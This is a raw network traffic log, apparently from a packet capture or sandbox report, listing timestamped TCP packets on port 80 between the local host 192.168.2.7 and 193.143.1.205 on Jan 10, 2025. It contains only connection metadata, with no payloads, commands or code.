Jan 10, 2025 15:01:23.937819958 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.937843084 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937843084 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.937843084 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938064098 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938076019 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938086987 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938108921 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938222885 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938236952 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938242912 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938251972 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938266993 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938281059 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938293934 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938303947 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938303947 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938308954 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938323021 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938335896 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938359022 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938360929 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938360929 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938373089 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938389063 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938412905 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938429117 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938442945 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938457012 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938472033 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938472986 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938486099 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938497066 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938507080 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938517094 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938529015 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938539028 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938539028 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938539028 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938543081 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938556910 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938566923 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938572884 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938580036 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938590050 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938601017 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.938662052 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.938662052 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.939183950 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939198017 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939227104 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939240932 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939254999 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939268112 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939276934 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.939276934 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.939282894 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939297915 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939328909 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939331055 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.939341068 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939357042 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.939410925 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.939583063 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939598083 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939626932 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.939685106 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.942738056 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942753077 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942766905 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942780972 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942795038 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942809105 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942830086 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942843914 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942858934 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942869902 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942879915 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942889929 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942889929 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.942902088 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942914009 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942926884 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942939043 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.942965031 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.942965031 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.942965031 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.943027020 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943038940 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943048000 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943059921 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943068981 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.943073988 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943089962 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943089962 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.943104982 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943201065 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.943201065 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.943782091 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943794966 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943813086 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943825006 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943835974 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943846941 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943857908 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943867922 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943878889 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943892002 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943896055 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.943896055 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.943896055 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.943905115 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943921089 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943932056 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943944931 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943947077 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.943958044 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943980932 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.943991899 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944003105 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944003105 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944005966 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944017887 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944031954 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944044113 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944058895 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944062948 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944062948 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944125891 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944125891 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944324970 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944328070 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944336891 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944350004 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944363117 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944375992 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944387913 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944399118 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944411039 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944421053 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944434881 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944447041 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944449902 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944449902 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944451094 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944458008 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944478035 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944489002 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944502115 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944502115 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944508076 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944514036 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944530964 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944545031 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944557905 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944557905 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944559097 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944572926 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944586992 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944593906 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944602013 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944616079 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944617033 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944632053 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944647074 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944659948 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944673061 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944673061 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944673061 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944686890 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944700003 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944713116 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944716930 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.944745064 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.944780111 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.945158958 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.945169926 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.945190907 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.945254087 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.945559025 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.945595026 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.945960045 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.945976973 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.945988894 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946002960 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946022034 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946041107 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946080923 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946091890 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946105003 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946119070 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946134090 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946149111 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946156979 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946156979 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946162939 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946177959 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946190119 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946192980 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946263075 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946263075 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946562052 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946577072 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946587086 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946598053 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946609020 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946619987 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946628094 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946630955 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946644068 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946645021 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946659088 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946669102 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946690083 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946695089 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946695089 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946703911 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946715117 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946726084 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946737051 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946777105 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946777105 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946777105 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.946974993 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946988106 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.946994066 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947005033 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947019100 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947026968 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947029114 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947041988 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947047949 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947052956 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947063923 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947074890 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947079897 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947086096 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947103024 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947113991 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947117090 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947117090 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947117090 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947125912 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947140932 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947145939 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947149038 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947154999 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947164059 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947165966 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947177887 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947192907 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947206974 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947211981 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947211981 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947223902 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947238922 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947253942 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947269917 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947283983 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947295904 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947302103 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947302103 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947302103 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947310925 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947340012 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947352886 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947360039 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947365046 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947376966 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947390079 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:23.947411060 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947412014 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:23.947437048 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.000745058 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.005649090 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.005692959 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.005723000 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.005810976 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.009629965 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.014722109 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014760971 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014772892 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014784098 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014795065 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014801025 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.014811039 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014826059 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014833927 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.014842033 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014908075 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.014919043 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014934063 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014947891 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014961004 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014976978 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.014985085 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015019894 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015019894 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015019894 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015058041 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015072107 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015081882 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015091896 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015111923 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015120029 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015120029 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015136003 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015150070 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015173912 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015173912 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015173912 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015188932 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015202999 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015208960 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015208960 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015328884 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015407085 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015423059 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015435934 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015449047 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015463114 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015476942 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015480042 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015492916 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015516043 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015516996 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015552998 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015567064 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015580893 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015594959 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015604019 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015662909 CET	49747	80	192.168.2.7	193.143.1.205
Jan 10, 2025 15:01:24.015801907 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015815973 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015830040 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015842915 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015856028 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015868902 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015882969 CET	80	49747	193.143.1.205	192.168.2.7
Jan 10, 2025 15:01:24.015891075 CET	49747	80	192.168.2.7	193.143.1.205
